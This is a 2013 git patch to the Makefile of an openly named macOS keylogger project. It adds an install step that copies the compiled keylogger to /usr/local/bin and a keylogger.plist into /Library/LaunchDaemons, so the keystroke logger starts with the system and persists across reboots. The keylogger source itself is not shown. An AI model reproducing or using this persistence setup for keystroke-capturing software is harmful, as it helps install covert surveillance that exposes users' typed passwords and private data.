From a9df56d78f570a80e401a2dffc9f580187b3ffae Mon Sep 17 00:00:00 2001 From: Casey Scarborough Date: Tue, 17 Sep 2013 13:30:49 -0400 Subject: [PATCH] Update Makefile to create LaunchDaemon on install. --- Makefile | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/Makefile b/Makefile index 5345805..8fb3a80 100644 --- a/Makefile +++ b/Makefile @@ -2,16 +2,20 @@ CC=gcc CFLAGS=-framework ApplicationServices -framework Carbon SOURCES=keylogger.c keylogger.h EXECUTABLE=keylogger +PLIST=keylogger.plist INSTALLDIR=/usr/local/bin all: $(SOURCES) $(CC) $(SOURCES) $(CFLAGS) -o $(EXECUTABLE) install: + mkdir -p $(INSTALLDIR) cp $(EXECUTABLE) $(INSTALLDIR) + cp $(PLIST) /Library/LaunchDaemons uninstall: rm $(INSTALLDIR)/$(EXECUTABLE) + rm /Library/LaunchDaemons/$(PLIST) clean: rm $(EXECUTABLE) \ No newline at end of file